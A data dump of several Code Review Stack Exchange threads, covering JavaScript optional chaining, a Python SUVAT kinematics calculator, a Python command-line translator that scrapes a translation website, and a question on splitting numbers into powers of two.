"body": "Hey the code you have posted looks like it's [missing context](//codereview.meta.stackexchange.com/a/3652) to be reasonably reviewed. As it looks like a [generic best practice question](//codereview.meta.stackexchange.com/a/3652). Could you provide more code as this looks like an example, and the answer to best practices is \"it depends\""
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T21:42:01.307",
"Id": "488775",
"Score": "0",
"body": "@Peilonrayz thanks, added more details again."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T21:42:27.717",
"Id": "488776",
"Score": "0",
"body": "This part of your question can make it off-topic `Just want to confirm if I use it correctly for this object and array mixed situation.` The code on this site must work before it can be posted."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T21:44:19.457",
"Id": "488777",
"Score": "0",
"body": "@pacmaninbw sorry, it works, deleted the misleading sentence."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T22:14:38.540",
"Id": "488782",
"Score": "1",
"body": "Hey @HongboMiao I think you've added more text in response to my comment. I have edited your text, but I don't think the problem lies there. My problem with your post is that there is a lack of surrounding code, that can give us insight on if this is a good idea. Currently for me to write an answer I'd need to write a short novel on how `?.` can be used in any situation, because I can't see what your situation is."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T22:31:00.893",
"Id": "488785",
"Score": "0",
"body": "Thanks @Peilonrayz thanks for editing! Added more surrounding code."
}
] |
[
{
"body": "<p>Optional chaining can be used not only with object property lookup with dot notation, <a href=\"https://stackoverflow.com/a/59623717\">but also with</a> bracket notation, by putting <code>?.</code> before the <code>[</code>:</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>const data = { res: {}};\nconsole.log(data?.res?.accounts?.[0]?.contacts?.[0]?.location == null)</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<p>Just to be thorough, you can also use optional chaining with function calls:</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>const data = { res: { }};\nconsole.log(data?.res?.accounts?.[0]?.contacts?.[0].location?.includes?.('foobar'));\n\nconst data2 = { res: { accounts: [{ contacts: [{ location: 'foobarbaz' }] }] } };\nconsole.log(data2?.res?.accounts?.[0]?.contacts?.[0].location?.includes?.('foobar'));\n\nconst data3 = { res: { accounts: [{ contacts: [{ location: 7 }] }] } };\nconsole.log(data3?.res?.accounts?.[0]?.contacts?.[0].location?.includes?.('foobar'));</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<p>That said, having so many nested properties whose existence is uncertain is a bit of a code smell, because any time you want to look something up, you'll have to check the existence of all intermediate properties first. Despite the fact that you can do it concisely with optional chaining nowadays, it's quite a strange data structure. If you have control over <code>fetchLocation</code>, consider if you can refactor it so that fewer intermediate properties may be missing. (For example, if you could change it so that every account has a <code>contacts</code> array, and the array might be empty (but not null nor undefined), that'd be a step in the right direction).</p>\n<p>Also, keep in mind that optional chaining is extremely new syntax. If this is going to be running on a public website, make sure to transpile your code down to ES6 or ES5 for production so that those with older browsers can consume your code.</p>\n<p>On another note, you might consider using <code>===</code> instead of <code>==</code>. ESLint rule: <a href=\"https://eslint.org/docs/rules/eqeqeq\" rel=\"nofollow noreferrer\"><code>eqeqeq</code></a>. <code>==</code> has some pretty odd behaviors involving type coercion that developers shouldn't be forced to look up in order to be 100% confident of what logic a particular section of code is implementing. For example, you could use <code>??</code> instead, to handle cases of <code>undefined</code> or <code>null</code>:</p>\n<pre><code>const location = data?.res?.accounts?.[0]?.contacts?.[0]?.location;\nreturn location ?? null;\n</code></pre>\n<p>(Or, if <code>location</code> will always be a non-empty string, you could <code>return location || null</code>, which might be a bit better)</p>\n<p>Also, the conditional operator is not in any of the code in your question or this answer. <a href=\"https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Operators/Conditional_Operator\" rel=\"nofollow noreferrer\">The conditional operator</a> uses syntax of the form:</p>\n<pre><code>const resultingExpression = condition ? expression1 : expression2;\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T15:07:39.253",
"Id": "488836",
"Score": "0",
"body": "Really appreciate, both `accounts?.[0]?` and nullish coalescing operator `??` are new to me!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T01:34:25.537",
"Id": "249373",
"ParentId": "249369",
"Score": "6"
}
},
{
"body": "<p>If you use the <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Nullish_coalescing_operator\" rel=\"nofollow noreferrer\">Nullish Coalescing Operator</a> you can do something similar to the following:</p>\n<pre><code>const getLocation = async () => {\n const nestMap = ['res', 'accounts', 0, 'contacts', 0, 'location'];\n const data = await fetchLocation();\n\n const searchNest = (data, property) => (data ?? false) ?\n data[property] : null;\n\n return nestMap.reduce(searchNest, data)\n}\n</code></pre>\n<p>This basically takes a predetermined list of properties (nestMap) and proceeds to check an input object (data) for any nullish value down the list of properties. If it reaches the end of the nest without encountering null it returns the last property in the nestmap (location in this case) otherwise it returns null.</p>\n<p>Note: If the returned location is undefined you will get null just like your own code returns.</p>\n<p>Not sure if this is what you are looking for but it might provide some insights into simplifying either way.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T01:55:23.187",
"Id": "249375",
"ParentId": "249369",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "249373",
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T21:13:22.713",
"Id": "249369",
"Score": "0",
"Tags": [
"javascript"
],
"Title": "Getting and checking value from a mixed object array HTTP endpoint"
}
|
249369
|
<p>Suvat stands for kinematics or</p>
<p>(s)displacement
(u)initial velocity
(v)final velocity
(a)acceleration
(t)time</p>
<p>This calculator can find the remaining 2 variables given 3 other variables!
Enter x on the variables which are unknown.</p>
<p>Ex:</p>
<pre><code>Distance: 20
Initialvelocity: 0
final velocity: 10
acceleration: x
time: x
-Output-
Acceleration = 2.5
Time = 4.0
</code></pre>
<p>Works with all equations like</p>
<pre><code>1) s = ut + (1/2)at^2
2) v^2 = u^2 + 2as
3) s = vt - (1/2)at^2
4) s = (1/2)(u+v)t
5) v = u + at
</code></pre>
<p>Code:</p>
<pre><code># Original SUVAT equations
# v = u + at
# s = 0.5(u+v)*t
# v^2 = u^2 + 2a*s
# s = ut + 0.5at^2
from math import sqrt
def stopper():
stop_or_continue = input("Stop?: then enter 'x'\n: ")
if stop_or_continue == "x":
raise SystemExit
def isfloat(value):
try:
float(value)
return True
except ValueError:
return False
def suvatsolver():
# this will keep track of how many variables are known, since three are required.
variables = {'distance': None, 'initial_velocity': None, 'final_velocity': None, 'acceleration': None, 'time': None}
variables['distance'] = input(("Distance in metres\n: "))
variables['initial_velocity'] = input(("Initial velocity in m/s\n: "))
variables['final_velocity'] = input(("Final velocity in m/s\n: "))
variables['acceleration'] = input(("Acceleration in m/s^2\n: "))
variables['time'] = input(("Time in seconds\n: "))
for var_name, value in variables.items():
if isfloat(value):
variables[var_name] = float(value)
else:
variables[var_name] = None
if sum(1 if value != None else 0 for value in variables.values()) < 3:
print("\nNot Enough Variables Known!")
return
print()
# this next bunch of statements pretty much goes through
# all possible combinations of three variables
# and calculates the remaining unknowns (I solved the equations myself)
if variables['distance'] and variables['initial_velocity'] and variables['final_velocity']:
variables['acceleration'] = (variables['final_velocity'] ** 2 - variables['initial_velocity'] ** 2) / (2 * variables['distance'])
variables['time'] = 2 * variables['distance'] / (variables['initial_velocity'] + variables['final_velocity'])
print("Acceleration =\n", variables['acceleration'])
print("Time =\n", variables['time'])
elif variables['distance'] and variables['initial_velocity'] and variables['acceleration']:
variables['final_velocity'] = sqrt(variables['initial_velocity'] ** 2 + 2 * variables['acceleration'] * variables['distance'])
t1 = -variables['initial_velocity'] / variables['acceleration'] + sqrt(2 * variables['acceleration'] * variables['distance'] + variables['initial_velocity'] ** 2) / variables['acceleration']
t2 = -variables['initial_velocity'] / variables['acceleration'] - sqrt(2 * variables['acceleration'] * variables['distance'] + variables['initial_velocity'] ** 2) / variables['acceleration']
print("Final velocity =\n", variables['final_velocity'], "\nor ", -variables['final_velocity'])
print("Time =\n", t1, "\nor ", t2)
elif variables['distance'] and variables['initial_velocity'] and variables['time']:
variables['final_velocity'] = 2 * variables['distance'] / variables['time'] - variables['initial_velocity']
variables['acceleration'] = 2 * (variables['distance'] - variables['initial_velocity'] * variables['time']) / variables['time'] ** 2
print("Final velocity =\n", variables['final_velocity'])
print("Acceleration =\n", variables['acceleration'])
elif variables['distance'] and variables['final_velocity'] and variables['acceleration']:
variables['initial_velocity'] = sqrt(variables['final_velocity'] ** 2 - 2 * variables['acceleration'] * variables['distance'])
t1 = 2 * variables['distance'] / (variables['final_velocity'] + sqrt(variables['final_velocity'] ** 2 - 2 * variables['acceleration'] * variables['distance']))
t2 = 2 * variables['distance'] / (variables['final_velocity'] - sqrt(variables['final_velocity'] ** 2 - 2 * variables['acceleration'] * variables['distance']))
print("Initial velocity =\n", variables['initial_velocity'], "\nor", -variables['initial_velocity'])
print("Time =\n", t1, "\nor", t2)
elif variables['distance'] and variables['final_velocity'] and variables['time']:
variables['initial_velocity'] = 2 * variables['distance'] / variables['time'] - variables['final_velocity']
variables['acceleration'] = (variables['final_velocity'] - variables['initial_velocity']) / variables['time']
print("Initial velocity =\n", variables['initial_velocity'])
print("Acceleration =\n", variables['acceleration'])
elif variables['distance'] and variables['acceleration'] and variables['time']:
variables['initial_velocity'] = (variables['distance'] - 0.5 * variables['acceleration'] * variables['time'] ** 2) / variables['time']
variables['final_velocity'] = variables['initial_velocity'] + variables['acceleration'] * variables['time']
print("Initial velocity =\n", variables['initial_velocity'])
print("Final velocity =\n", variables['final_velocity'])
elif variables['initial_velocity'] and variables['final_velocity'] and variables['acceleration']:
variables['distance'] = (variables['final_velocity'] ** 2 - variables['initial_velocity'] ** 2) / (2 * variables['acceleration'])
variables['time'] = (variables['final_velocity'] - variables['initial_velocity']) / variables['acceleration']
print("Distance =\n", variables['distance'])
print("Time =\n", variables['time'])
elif variables['initial_velocity'] and variables['final_velocity'] and variables['time']:
variables['distance'] = 0.5 * (variables['initial_velocity'] + variables['final_velocity']) * variables['time']
variables['acceleration'] = (variables['final_velocity'] - variables['initial_velocity']) / variables['time']
print("Distance =\n", variables['distance'])
print("Acceleration =\n", variables['acceleration'])
elif variables['initial_velocity'] and variables['acceleration'] and variables['time']:
variables['final_velocity'] = variables['initial_velocity'] + variables['acceleration'] * variables['time']
variables['distance'] = variables['initial_velocity'] * variables['time'] + 0.5 * variables['acceleration'] * variables['time'] ** 2
print("Final velocity =\n", variables['final_velocity'])
print("Distance =\n", variables['distance'])
elif variables['final_velocity'] and variables['acceleration'] and variables['time']:
variables['initial_velocity'] = variables['final_velocity'] - variables['acceleration'] * variables['time']
variables['distance'] = 0.5 * (2 * variables['final_velocity'] - variables['acceleration'] * variables['time']) * variables['time']
print("Initial velocity =\n", variables['initial_velocity'])
print("Distance =\n", variables['distance'])
print("Suvat Calculator:")
print("if variable not\ngiven then type\n'x'\n")
while True:
suvatsolver()
stopper()
print()
</code></pre>
<p>Hence, I would like ways to optimize or reduce the repetition in my code, as well as, making it more compact with the right use of data structures.</p>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T01:20:24.290",
"Id": "249372",
"Score": "3",
"Tags": [
"python",
"python-3.x",
"calculator",
"physics"
],
"Title": "Suvat Calculator - Kinematics"
}
|
249372
|
<p>So i made a program, which allows you to translate from one language to another using the command prompt.
I would like advice about the design, optimizations, and the tips and tricks to avoid repetition and writing effective code.</p>
<p>Code:</p>
<pre><code>import requests
from bs4 import BeautifulSoup
import sys
class Translator:
# Default Options
headers = {'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0'}
website = 'https://context.reverso.net/translation/'
languages = ['arabic', 'german', 'english', 'spanish', 'french', 'hebrew', 'japanese', 'dutch', 'polish', 'portuguese', 'romanian', 'russian', 'turkish']
textfile_name = 'hello.txt'
def __init__(self):
"""
Initialises the following variables to be used through the course of the translator:
1) response : holds the response object for the link created by the input
2) from_language : holds the name of the language to translate the string from
3) to_language : holds the name of the language to translate the string to
4) string_for_translation: holds the string to be translated from and to
5) do_nothing : a placeholder function, for doing nothing
6) command_line : holds the arguments provided in the command_line
"""
self.response = None
self.from_language = None
self.to_language = None
self.string_for_translation = None
self.do_nothing = lambda: [None, None]
self.command_line = sys.argv[1:]
def verify_command_line(self):
"""
verifies the arguments provided in the command line.
returns True, if the arguments are valid, else exits the program and outputs an error prompt, if the arguments aren't valid.
"""
if len(self.command_line) >= 3:
if self.command_line[0].lower() in self.languages:
if self.command_line[1].lower() in self.languages+["all"]:
if self.command_line[0] != self.command_line[1]:
return True
else:
print("The from_language and to_language cannot be the same!")
else:
print(f"Sorry, the program doesn't support {self.command_line[1]}.")
else:
print(f"Sorry, the program doesn't support {self.command_line[0]}.")
else:
print("3 Arguments Must Be Provided In The Order: [from_language] [to_language] [string_for_translation].")
exit()
def parse_command_line(self):
"""
parses the command line arguments into useful information/data for the translator.
"""
self.from_language = self.command_line[0].lower()
self.to_language = self.command_line[1].lower()
self.string_for_translation = "+".join(self.command_line[2:])
def get_response(self, url):
"""
acquires the response object from the url provided.
if the response is invalid, then an error prompt is raised based on status code or connectivity.
"""
try:
self.response = requests.get(url, headers=self.headers)
if 400 < self.response.status_code < 500:
print(f"Sorry, unable to find {self.string_for_translation}")
exit()
except requests.exceptions.ConnectionError:
print("Something wrong with your internet connection")
exit()
@staticmethod
def parse_translations(html):
"""
parses the html for the translations of the string provided, which is located in a <a class='dict'> tag
"""
return [tag.text.strip() for tag in html.find_all('a', class_='dict')]
@staticmethod
def parse_sentences(html):
"""
parses the html for the example sentences of from_language and to_language, which is located in a unique css selector.
"""
return [span.text.strip() for span in html.select("#examples-content .text")]
def translate(self, from_language, to_language, string_for_translation):
"""
creates the url for the translation, and calls the get_response function, to acquire the content of the page.
that of which is parsed, using Beautiful Soup.
returns a list of translations, and a list of example sentences alternating from the from_language and to_language
"""
link = self.website + f'{from_language.lower()}-{to_language.lower()}/{string_for_translation}'
self.get_response(link)
html = BeautifulSoup(self.response.content, 'html.parser')
translations = self.parse_translations(html)
example_sentences = self.parse_sentences(html)
return translations, example_sentences
def translate_to_all_into_textfile(self):
"""
translates a string from a language to every language supported in self.languages.
Then, writes them in a text file with the name in the variable textfile_name.
Prints the output also in the console for each language.
Does not print anything, in the current iteration of the languages loop, if the to_language is the same as from_language.
"""
with open(self.textfile_name, 'w', encoding='utf-8') as text_file:
for to_language in self.languages:
translations, example_sentences = self.translate(self.from_language, to_language, self.string_for_translation) if to_language != self.from_language else self.do_nothing()
self.print_format(translations, example_sentences, to_language, num_of_examples=1, output_into_textfile=text_file) if to_language != self.from_language else self.do_nothing()
@staticmethod
def print_format(translations, example_sentences, to_language, num_of_examples=5, output_into_textfile=False):
"""
translations : refers to the list of translations of a string.
example_sentences : refers to the list of example sentences alternating from from_language and to_language.
to_language : refers to the language to translate to.
num_of_examples : refers to a number defining the number of examples of translations and example_sentences to print. Default = 5.
output_into_textfile : refers to a file object (textfile), to print the output into, if provided. Default = False.
Prints the results in an appropriate format:
string_used = 'Hello'
- - - - - - - - - - - - -
French Translations:
bonjour
allô
ohé
coucou
French Examples:
Hello SMS World! , Success .:
Bonjour, monde des SMS ! ","Succès.
Hello, Mark Dessau, please.:
Bonjour, Mark Dessau, s#39;il vous plaît.
Hello, I've something confidential to report.:
Allô, j'ai quelque chose de confidentiel à révéler.
Hello, this is Ina Müller's voicemail.:
Allô. Vous êtes sur le répondeur d'Ina Müller. Je ne suis pas disponible.
Hello, I'm Tommy Tuberville.:
Bonjour. Je suis Tommy Tuberville, Université d'Auburn.
- - - - - OR - - - - - if all languages is chosen, and num_of_examples is 1
Arabic Translations:
مرحبا
Arabic Examples:
Hello, is Alex Romero available?:
مرحباً، هل (آليكس روميرو) متاح ""؟
German Translations:
hallo
German Examples:
Hello. Welcome to High Adventure.:
Hallo und willkommen bei "High Adventure".
Spanish Translations:
hola
Spanish Examples:
Hola, esta es la policía de Bradfield.
French Translations:
bonjour
French Examples:
Hello SMS World! , Success .:
Bonjour, monde des SMS ! ","Succès.
Hebrew Translations:
שלום
Hebrew Examples:
Your honor! Hello, Sheriff.:
כבודו - .שלום, שריף - ...האישה שהתוודתה בטוחה
Japanese Translations:
こんにちは
Japanese Examples:
Hello, I am Pete Lavache from Platforms Marketing:
こんにちは、プラットフォーム・マーケッティングのPete Lavacheです。
Dutch Translations:
dag
Dutch Examples:
Hello, darling wife. Hello, husband.:
Dag, lief vrouwtje - Dag, mannetje.
Polish Translations:
cześć
Polish Examples:
Hello and thanks for this great plugin.:
Cześć i dzięki za ten wspaniały plugin.
Portuguese Translations:
olá
Portuguese Examples:
Hello pedestrians, city folk... urban professionals.:
Olá, peões, habitantes da cidade... profissionais urbanos.
Romanian Translations:
salut
Romanian Examples:
Hello and welcome to the show speaking with Charlie...:
Salut și bine v-am găsit la show-ul "De vorba cu Charlie"...
Russian Translations:
привет
Russian Examples:
Hello, I knocked but nobody opened.:
Привет, я стучалась, но никто не открывал.
Turkish Translations:
selam
Turkish Examples:
Hello everybody and welcome to NWA airlines.:
Selam, millet, ve NWA Havayollarına hoş geldiniz.
- - - - - - - - - - - - -
"""
to_language = to_language.title()
if output_into_textfile:
print(f"{to_language} Translations:\n", "\n".join(translations[0:num_of_examples]), end='\n\n', file=output_into_textfile)
print(f"{to_language} Example:\n" , "\n\n".join([f"{example[0]}:\n{example[1]}" for example in zip(example_sentences[:num_of_examples*2:2], example_sentences[1:num_of_examples*2:2])]), end='\n', file=output_into_textfile)
print("\n", file=output_into_textfile)
print("\n")
print(f"{to_language} Translations:\n", "\n".join(translations[0:num_of_examples]), end='\n\n')
print(f"{to_language} Examples:\n" , "\n\n".join([f"{example[0]}:\n{example[1]}" for example in zip(example_sentences[:num_of_examples*2:2], example_sentences[1:num_of_examples*2:2])]), end='\n')
def main(self):
"""
main function, for running the steps to translate in order of: -
1) Requesting Input:
- if to_language_number is '0', then it sets self.to_language to "All".
2) Translating Based on Input:
- performs multiple translations on all languages, if to_language = "All".
3) Printing in Appropriate Format:
- if to_language is "All", then it prints one example sentence, and one translation for each language, and pastes it into a text file.
- if to language is not "All, then it prints five example sentences, and 5 translations for the to_language chosen.
"""
if self.verify_command_line():
self.parse_command_line()
if self.to_language != 'all':
translations, example_sentences = self.translate(self.from_language, self.to_language, self.string_for_translation)
self.print_format(translations, example_sentences, self.to_language)
else:
self.translate_to_all_into_textfile()
if __name__ == '__main__':
translator = Translator()
translator.main()
</code></pre>
<p>Output:</p>
<pre><code>Command Line Based Program - MultiLingual Online Translator
Example 1:
> python "MultiLingual Online Translator.py" English French string
French Translations:
chaîne
corde
train
string
ficelle
French Examples:
An string broadcast station receives message content.:
Une station de radiodiffusion de chaîne de caractères reçoit un contenu de message.
The data structures are originally described in a string.:
Les structures de données sont initialement décrites sous forme d'une chaîne.
The expanded region accommodates interval consistent outward string bend functionality.:
La région élargie comprend une fonction permettant de faire un tiré sur la corde extérieure en cohérence avec les intervalles.
An improved musical instrument string is provided.:
L'invention concerne une corde améliorée pour instruments de musique.
The drill string is not rotated.:
Le train de tiges n'est pas mis en rotation.
Example 2;
> python "MultiLingual Online Translator.py" English All string
Arabic Translations:
سلسلة
Arabic Examples:
That we play coy, string her along in negotiations:
أن نلعب كوي، سلسلة لها جنبا إلى جنب في المفاوضات
German Translations:
Zeichenfolge
German Examples:
Enter an alphanumeric string to describe a unique alternate.:
Geben Sie eine alphanumerische Zeichenfolge ein, um die Alternative eindeutig zu kennzeichnen.
Spanish Translations:
cadena
Spanish Examples:
The string argument enables passing additional key/value pairs with the ad request.:
El argumento de cadena permite pasar pares clave/valor adicionales con la solicitud de anuncios.
French Translations:
chaîne
French Examples:
An string broadcast station receives message content.:
Une station de radiodiffusion de chaîne de caractères reçoit un contenu de message.
Hebrew Translations:
מחרוזת
Hebrew Examples:
Microsoft Dynamics AX cannot parse the Web action item configuration string.:
ל - Microsoft Dynamics AX אין אפשרות לנתח את מחרוזת התצורה של פריט הפעולה של האינטרנט.
Japanese Translations:
文字列
Japanese Examples:
Unknown token in SRestriction resource string.:
SRestriction リソース 文字列に不明なトークンが含まれています。
Dutch Translations:
string
Dutch Examples:
Returns given section of a string.:
Geeft een bepaald deel uit een string terug.
Polish Translations:
struna
Polish Examples:
Another relationship between different string theories is T-duality.:
Inną relacją pomiędzy różnymi teoriami strun jest T-dualność.
Portuguese Translations:
string
Portuguese Examples:
Possible values: IP address string.:
Valores possíveis: endereço IP em forma de string.
Romanian Translations:
șir
Romanian Examples:
Real workaholic, impressive string of wins.:
Real dependent de muncă, șir impresionant de victorii.
Russian Translations:
строка
Russian Examples:
The icons and graphics should undergo similar checking and translation as the string text to identify any possible misinterpretations.:
Иконки и графические объекты должны проверяться и переводиться так же, как и строки текста для выявления любых возможных ошибок при толковании.
Turkish Translations:
ip
Turkish Examples:
Get a lot of string, slap it together...:
Bir sürü ip al, birbirine bağla...
<span class="math-container">```</span>
</code></pre>
|
[] |
[
{
"body": "<p>Good implementation, easy to read and understand. Few suggestions:</p>\n<ul>\n<li><strong>Nested if-else</strong> in <code>verify_command_line</code> makes it not straightforward to understand:\n<pre><code>if len(self.command_line) >= 3:\n if self.command_line[0].lower() in self.languages:\n if self.command_line[1].lower() in self.languages+["all"]:\n if self.command_line[0] != self.command_line[1]:\n return True\n\n else:\n print("The from_language and to_language cannot be the same!")\n else:\n print(f"Sorry, the program doesn't support {self.command_line[1]}.")\n else:\n print(f"Sorry, the program doesn't support {self.command_line[0]}.")\nelse:\n print("3 Arguments Must Be Provided In The Order: [from_language] [to_language] [string_for_translation].")\nexit()\n</code></pre>\nconsider to use a <strong>deny-all</strong> logic:\n<pre><code>if len(self.command_line) < 3:\n print("3 Arguments Must Be Provided In The Order: [from_language] [to_language] [string_for_translation].")\nelif self.command_line[0].lower() not in self.languages:\n print(f"Sorry, the program doesn't support {self.command_line[0]}.")\nelif self.command_line[1].lower() not in self.languages + ["all"]:\n print(f"Sorry, the program doesn't support {self.command_line[1]}.")\nelif self.command_line[0] == self.command_line[1]:\n print("The from_language and to_language cannot be the same!")\nelse:\n return True\nexit()\n</code></pre>\nAdditionally, such method is not easy to test, because it prints on the console and exits in some cases. An alternative is to return a boolean and a message. For example: <code>True,""</code> or <code>False,"The from_language and to_language cannot be the same!"</code>.</li>\n<li>The method <code>print_format</code> contains some duplicated logic:\n<pre><code>if output_into_textfile:\n print(f"{to_language} Translations:\\n", "\\n".join(translations[0:num_of_examples]), end='\\n\\n', file=output_into_textfile)\n print(f"{to_language} Example:\\n" , "\\n\\n".join([f"{example[0]}:\\n{example[1]}" for example in zip(example_sentences[:num_of_examples*2:2], example_sentences[1:num_of_examples*2:2])]), end='\\n', file=output_into_textfile)\n print("\\n", file=output_into_textfile)\n\nprint("\\n")\nprint(f"{to_language} Translations:\\n", "\\n".join(translations[0:num_of_examples]), end='\\n\\n')\nprint(f"{to_language} Examples:\\n" , "\\n\\n".join([f"{example[0]}:\\n{example[1]}" for example in zip(example_sentences[:num_of_examples*2:2], example_sentences[1:num_of_examples*2:2])]), end='\\n')\n</code></pre>\ncreate <code>translations</code> and <code>examples</code> before and then print them:\n<pre><code>translations_output = # create output string\nexample_output = # create output string \nif output_into_textfile:\n print(translations_output, file=output_into_textfile)\n print(example_output, file=output_into_textfile)\n print("\\n", file=output_into_textfile)\n\nprint("\\n")\nprint(translations_output)\nprint(example_output)\n</code></pre>\n</li>\n</ul>\n<h2>Single-responsibility principle</h2>\n<p>The class <code>Translator</code> is in charge of parsing the input, doing the translation, formatting the output, and containing the logic of the whole program in the <code>self.main</code> method. Consider how you would handle these changes:</p>\n<ul>\n<li>The input comes from a file</li>\n<li>The output needs to be formatted nicely for the user</li>\n<li>Provide an interactive translation</li>\n<li>Use Google Translate instead of BeautifulSoup</li>\n</ul>\n<p>Each option requires the class <code>Translator</code> to change, but <a href=\"https://en.wikipedia.org/wiki/Single-responsibility_principle\" rel=\"nofollow noreferrer\">SRP</a> says "A class should have only one reason to change".</p>\n<p>My suggestion is to distribute responsibilities into more classes and methods, for example:</p>\n<pre><code>class Translator:\n def __init__(self, provider):\n def translate(self, from_lang, to_lang, string_to_translate):\n def translate_to_all(self,from_lang, string_to_translate):\n def examples(self, from_lang, to_lang, string_to_translate):\n def examples_to_all(self, from_lang, string_to_translate):\n</code></pre>\n<p>The class <code>Translator</code> contains the supported languages, translates a string, and generates examples. Feel free to adapt the interface to your use case, the point is to make the program more modular. A provider is an adapter for the library <code>BeautifulSoup</code>:</p>\n<pre><code>class BeautifulSoupProvider:\n def __init__(self):\n pass\n # public methods\n def translate(self, from_language, to_language, sentence):\n def examples(self, from_lang, to_lang, sentence):\n # private methods\n def __get_response(self, url):\n def __parse_translations(html):\n def __parse_sentences(html):\n</code></pre>\n<p>The <code>__main__</code> would be something like this:</p>\n<pre><code>def verify_command_line(args):\n #...\n\ndef to_console(translations, examples, to_language):\n #..\n\ndef to_file(translations, examples):\n #..\n\nif __name__ == '__main__':\n if not verify_command_line(sys.argv[1:]):\n exit()\n # get from_language, to_language and string_to_translate\n translator = Translator(BeautifulSoupProvider())\n if to_language == 'all':\n translations = translator.translate_to_all(from_language,string_to_translate)\n examples = translator.examples_to_all(from_language, string_to_translate)\n to_file(translations,examples)\n else:\n translations = translator.translate(from_language, to_language, string_to_translate)\n example_sentences = translator.examples(from_language, to_language, string_to_translate)\n to_console(translations, example_sentences, to_language)\n</code></pre>\n<p>Now the program is more modular and each method and class has its own responsibility. For example, adding Google Translate requires just to create a new adapter class and change one line in the <code>main</code> function. Changes to the input and output won't affect the class <code>Translator</code> and finally you can easily test all the methods.</p>\n<p><strong>Note:</strong> the code I provided is not tested, it's just to provide some examples.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T10:55:18.077",
"Id": "249384",
"ParentId": "249374",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T01:39:51.350",
"Id": "249374",
"Score": "4",
"Tags": [
"python",
"python-3.x",
"object-oriented",
"beautifulsoup"
],
"Title": "MultiLingual Online Translator"
}
|
249374
|
<p>For example, these are expected outputs:</p>
<pre><code>3: 2, 1
4: 4
5: 4, 1
6: 4, 2
7: 4, 2, 1
8: 8
9: 8, 1
...
20: 16, 4
...
25: 16, 8, 1
...
36: 32, 4
...
50: 32, 16, 2
</code></pre>
<p>Up to the max of 32 being the largest subunit. So then we get larger:</p>
<pre><code>100: 32, 32, 32, 4
...
201: 32, 32, 32, 32, 32, 32, 8, 1
...
</code></pre>
<p>What is the equation / algorithm to implement this most optimally in JavaScript? By optimal I mean the fastest performance, or fewest primitive steps for example, with the least amount of temporary variables, etc. I feel like my solution below is a "brute force" approach which lacks elegance and it seems like it could be optimized somehow. Ideally there would be no <code>Math.floor</code> or division as well, if possible to use some sort of bit magic.</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>log(20)
log(25)
log(36)
log(50)
log(100)
log(200)
function log(n) {
console.log(generate_numbers(n).join(', '))
}
function generate_numbers(n) {
const chunks = count_chunks(n)
const sum = chunks.reduce((m, i) => m + i, 0)
const result = new Array(sum)
const values = [ 1, 2, 4, 8, 16, 32 ]
let i = chunks.length
let j = 0
while (i--) {
let x = chunks[i]
while (x--) {
result[j++] = values[i]
}
}
return result
}
function count_chunks(n) {
let chunks = [0, 0, 0, 0, 0, 0]
if (n >= 32) {
let i = Math.floor(n / 32)
chunks[5] = i
n = n - (i * 32)
}
if (n >= 16) {
chunks[4] = 1
n = n - 16
}
if (n >= 8) {
chunks[3] = 1
n = n - 8
}
if (n >= 4) {
chunks[2] = 1
n = n - 4
}
if (n >= 2) {
chunks[1] = 1
n = n - 2
}
if (n >= 1) {
chunks[0] = 1
}
return chunks
}</code></pre>
</div>
</div>
</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T12:47:11.723",
"Id": "488812",
"Score": "10",
"body": "You don't need an algorithm for that. Your computer already represents numbers exactly that way, called \"binary\". The only task left is to grab the bits out of the number representation. And maybe Javascript isn't the language best suited for such an access to the machine internals."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T12:53:59.423",
"Id": "488813",
"Score": "0",
"body": "What exactly is the desired result, i.e., what you really need? The printing? The result of `generate_numbers`? The result of `count_chunks`? And is the order of the numbers important or could they also be ascending?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T13:15:41.550",
"Id": "488816",
"Score": "0",
"body": "How large is your typical/average input number?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T13:47:27.683",
"Id": "488820",
"Score": "1",
